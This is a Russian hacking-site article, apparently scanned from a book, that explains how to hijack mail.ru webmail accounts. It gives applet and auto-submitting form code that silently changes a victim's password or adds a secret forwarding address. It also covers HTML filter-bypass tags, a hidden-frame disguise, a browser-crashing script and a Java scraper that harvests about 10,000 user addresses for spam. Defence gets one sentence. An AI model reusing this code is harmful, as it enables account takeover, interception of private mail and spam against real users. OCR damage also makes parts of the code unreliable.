V-zlom.ru » Статьи » Некоторые методы технического взлома почтового сервера

Некоторые методы технического взлома почтового сервера

 

В последнее время значительную популярность обрели почтовые

системы на основе WWW-Интерфейса (www.hotmail.com, www.mail.com,

www.netscape.net в России — www.mail.ru). Web-почту «местного значе-

ния» также предлагают провайдеры, работающие по схемам «Internet-

Кард» или «Internet-в-кредит». Честно говоря, автору совершенно непо-

нятны причины такого успеха. Сторонники подобных систем обычно

заявляют о простоте и удобстве пользования, при большей безопасности,

ссылаясь на огромное количество вирусов и печальный пример MS

Outlook и MS Outlook Express 5. Первые два аргумента, похоже, соответ-

ствуют действительности, а о безопасности поговорим чуть ниже.

Здесь будет рассмотрен один из вариантов технического подхода к

вскрытию почтового ящика, основанного на совместном использовании

недоработок современных браузеров, принципиальных недостатках CGI,

и ошибках в политике безопасности почтовых служб. Именно он чаще

всего применяется в атаках на Web-почту. Для «конкретности», будет

описан найденный автором метод «захвата» или «подслушивания» поль-

зователя популярной в России системе mail.ru и способ защиты.

Принципиальные недостатки безопасности

WWW-почты

Ненадежность обычной почтовой программы определяется безгра-

мотностью её написания.

Браузер же как система прочтения почты изначально недостаточно

безопасен, поэтому создатели почты вынуждены налагать ограничения на

тэги, используемые в письмах (<script .;.>, <iframe>). Как правило, встро-

енный фильтр просто удаляет «небезопасные» с его точки зрения ин-

струкции. Принципиальных недостатков у подобного подхода два:

слишком строгие фильтры могут повредить само письмо, да и трудно пре-

дугадать заранее, на что способна безопасная с виду конструкция. Тем не

менее, именно на фильтрации основаны большинство существующих

почтовых систем.

Самый же уязвимый элемент — это способ задания пользователь-

ских настроек и пароля. Они, как правило, задаются с помощью CGI-

форм (как наиболее распространённого стандарта) по тем же каналам, что

используются для работы с почтой, и могут быть вызваны любым членам

сети, сумевшим подделать IP и cookies пользователя, или (что гораздо

проще) временно захватившим контроль над браузером.

609Почта

Технология атаки

Итак, мы решили перехватить контроль у пользователя хххх почто-

вой системы с Web-интерфейсом, например, yyyy.zz. Только убедитесь,

что он действительно пользуется web-интерфейсом, а не читает почту че-

рез рорЗ-сервер или пользуется форвардингом.

Заводим почтовый ящик на этом же сервисе и в первую очередь

смотрим, как задаются и изменяются пароль и прочие настройки. На

mail.ru (и многих других) это делает обычная форма, результаты заполне-

ния которой передаются в CGl-cKpHnTcgi-bin/modifyuser?modify.

Для идентификации пользователя, похоже, используется скрытое

поле:

< i n p ut  t y p e = " h i d d e n"  n a m e = " U s e r n a m e" value="intst1">

Нам предоставляется возможность изменить:

• имя пользователя:

<input type="text" name="RealName" value="A. V. Komlni">

• адрес пересылки (форвардинга) и возможность сохранения

почты при этом:

<input type="text" name="Forward" value="...">

<ihput type=checkbox name="Flags.DoNotKeepMail" >

пароль:

<input type="password" name="Password"

value="****************">

<input type="password" name="Password_Verify"

value="****************">

Попробуем сформировать соответствующий файл, задав в скрытом

поле имя интересующего нас пользователя и отослать форму, т.к. CG1,

увы, не проверяет место нахождения формы-запроса.

<form method=post action="http://koi.mail.ru/cgi-bin/'

modifyuser?modify">

He получилось. Быть может, в интересующей вас системе этого ока-

жется достаточно, а в mail.ru такие шутки не проходят.

Значит, пользователь идентифицируется с помощью cookies или,

хуже того, IP. Пробуем вручную отредактировать cookies — результат тот

же. Следовательно, эту форму должен отослать сам пользователь.

Наиболее простой способ захвата контроля над браузером — внед-

рение <script> и &{...} конструкций в письмо — давно уже пресечён с по-

мощью фильтров почти всеми, и mail.ru в том числе. Тем не менее попро-

буйте, чем чёрт не шутит. Если тэги разрешены, то фильтрация самого

javascript иногда может быть обойдена при помощи средств динамической

генерации кода.

610Почта

Неплохой результат иногда дают конструкции вида:

<тег [XX]SRC=...>

Например,

«cIMAGE LoSrc="javascript..."...>

<IFRAME SCR="about: <script...> ...">

для IE и

<ilayer src="mocha:...">

для NC. («mocha» — это старый, всеми позабытый аналог модификатора

«javascript», сохранившийся в NC). Вообще, чем реже используется тот

или иной тэг, тем больше вероятность, что разработчики забыли его от-

фильтровать... Недостаток этого подхода в том, что требуется знать тип и

версию используемого браузера.

К сожалению (вернее к счастью), у программистов mail.ru память

хорошая. В конце концов это их и подвело. Наверное, они (да и не толь-

ко они, похоже) читали «умные» книжки, запомнив, что Java — одна

из самых безопасных технологий в сети. Поэтому и разрешили тэг

<Applet...>.

В стандарте Java есть класс AppletContext (зачем?!), позволяющий

нам открывать новые окна или менять текущие.

URL myURL=new URL("http:...editprofil.html");

getAppletContext().showDocument(myURL,"_self");

getAppletContext().showDocument(myURL,"newwin");

На любой общедоступной страничке размещаем файл editprofil.html

(содержащий требуемую форму), прописываем к нему путь в апплете, ко-

торый размещаем там же и высылаем пользователю письмо, содержащее

вызов апплета. Этот эксплойт не зависит от браузера, одинаково

«хорошо» работая в IE и NC.

<applet

code=readr.class

name=readrie

codebase="_nVTb_/"

width=320

height=240 >

<B> SET Java On</B>

</applet>

readr.java (не забудьте отредактировать _ПУТЬ_)

import Java.applet. *;

import java.awt.»;

import java.net.*;

611Почта

public class readrie extends Applet

public void paint(Graphics g)

{ try {

URL myURL=new URL("_nyTb_editprofil.html");

getAppletContextQ. showDocument(myURL, "_self");

} catch (Exception e) {

g.drawString("Error", 10, 10);

editprofil.html

(не забудьте отредактировать ИМЯ_ПОЛЬЗОВАТЕЛЯ и НОВЫЙ_ПАРОЛЬ)

<html>

<body>

<form method=post action="http://koi.mail. ru/cgibin/modifyuser?tnodify">

<input type="hidden" name="Username" value=" ИМЯ_ПОЛЬЗОВАТЕЛЯ ">

<input type="text" name="RealName" value="A. V. Komlni">

«cinput type="text" name="Forward" value="">

<input type="password" name="Password" value=" НОВЫЙ_ПАРОЛЬ ">

<input type="password" name="Password_Verify"

value=" НОВЫЙ_ПАРОЛЬ ">

<input type=checkbox name="Flags.DoNotKeepMail" >

He сохранять почту при пересылке<Ьг>

<input type="submit" уа!ие="Сохранить"> <input type=" reset"

уа!ие="Восстановить">

</form>

<SCRIPT LANGUAGE="javascript">

document. forms[0]. submit();

</script>

</body>

</html>

Письмо можно сформировать просто присоединением (attach)

HTML-файла (в Netscape Messenger, например) содержащего необходи-

мые тэги. Присоединенный в Messenger'e HTML-файл mail.ru откроет

автоматически.

612Почта

Как только абонент попытается прочитать письмо, выполнится

апплет, и через несколько секунд форма будет отослана от имени жертвы.

Вот, в принципе, и всё. Пользователю присвоен новый пароль. Ес-

ли мы хотим «просто подслушивать» пользователя, в значение полей

Password необходимо внести 16 звёздочек, а в поле Forward — куда отсы-

лать копии. Это довольно рискованный вариант: пользователь может

случайно заглянуть в настройки и заметить адрес.

<input type="text" name="Forward" value="spy_addr@xxxx.zz">

<input type="password" name="Password" value="****************">

<input type="password" name="Password_Verify"

value="****************">

Макияж...

He стоит, конечно, проводить всю эту процедуру перед глазами

пользователя (может он ещё не отключил подтверждение на отправку

форм или успеет запомнить разглядеть и запомнить новый пароль). Ра-

зумнее переадресовать апплет на какой-нибудь файл содержащий frameset:

<FRAMESET  C O L S = " 9 9 X , 1 X ">

<FRAME SRC="zastavka.html" NAME="v1">

<FRAME SRC="editprofile.html" NAME="w1">

где zastavka маскирует письмо под безобидную рекламу или дружеское

письмо, a editprofile выполняется в невидимом фрейме.

По окончании смены паролей лучше сымитировать сбой т.к. в тече-

нии сеанса пользователь может исправить пароль. В IE под Win 95/98, на-

пример, достаточно выполнить скрипт:

open("javascript:open(window.location)");

приводящий к бесконечному размножению окон, требующему переза-

грузки. Само письмо лучше отослать (на случай неудачи) от анонимной

службы рассылки писем.

Защититься от этой атаки как всегда просто. Отключить Java, а луч-

ше, отказаться от использования Web-интерфейсов. Тот же mail.ru пред-

лагает и форвардинг и pop-сервера. Экономия на настройке приносит

проблемы с безопасностью не только администраторам больших сетей,

поверьте.

Составляем список абонентов сервера

Заветной мечтой всех спамеров мира является список (база) або-

нентов. Недаром, в их среде постоянно ходят слухи о каких-то почтовых

серверах, поддерживающих команду finger. Часто на форуме можно ви-

деть крик души:

613Почта

"Нужна база е-мейлов по заграничным и Московским сайтам $$$ -

Вася 02:53:36 06/1/2000 (0)"

Нередко почтовые Web-сервера могут «бесплатно» предоставить

подобную информацию. Метод её получения довольно прост. При ле-

гальной работе с почтовым ящиком запоминаем адреса CGI-скриптов,

ответственных за смену и чтение параметров пользователей. Потом вызы-

ваем их без параметров (форм). Вполне вероятны ошибки в скриптах, при

которых они отработают с последними занесёнными (или использующи-

мися в текущий момент) именами пользователей.

Конечно, шансы на то, что параметры можно изменить, нулевые, а

вот сообщение об ошибке доступа вполне может содержать имя пользо-

вателя, как это происходит на mail.ru. При обращении к тому же http://koi.

mail.ru/cgi-bin/modifyuser?modify выдаётся сообщение вида:

Настройки пользователя mnebojsa@mail.ru

Ошибка. Не заполнены необходимые поля.

При следующем обращении «сдастся» следующий пользователь или

«@/» если таковых не окажется. Осталось иссдедовать внутреннюю струк-

туру ответа, да написать программу, повторяющую подобные запросы и

фильтрующую ответ в поисках нужной информации. Лучше запускать её

в часы пик:

import java.io.*;

import java.net.*;

import java.util.*;

public class getname {

public static void mai,n(String args[]) {

String nextline;

try

{

URL mailserv= new URL

("http://koi.mail.ru/cgi-bin/modifyuser?modify");

for (int i=1;i<=10000;i++)

{

DatalnputStream input = new DatalnputStream (

mailserv,openConnection().getInputStream());

nextline=input. readLineQ;

nextline=input.readLine();

nextline=input.readLine();

// Нужный нам адрес - в третьей строке выходного документа

System.out.println( nextline);

input,close();

614Почта

catch (Exception ioe)

{

System, out. println(ioe.toStringO);

Вызовы команд вида (в среде JDK):

:jayac getname.java - компилируем файл

:java getname > userlist.txt

занесут в файл userlist.txt примерно 10000 e-mail адресов.

Теперь больной манией величия «хаксор» вполне может создать

программу, автоматически рассылающую письма-ловушки отбирающие

почтовые ящики, практичный спаммер — рекламу, а конкуренты — сооб-

щение, вида: «бесплатный сервис mail.ru будет с начала месяца прекра-

щён, воспользуйтесь xxxx.ru» или всё вместе.

 

  • Автор: admin
  • Комментарии: 0
  • Просмотры: 1427
0

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!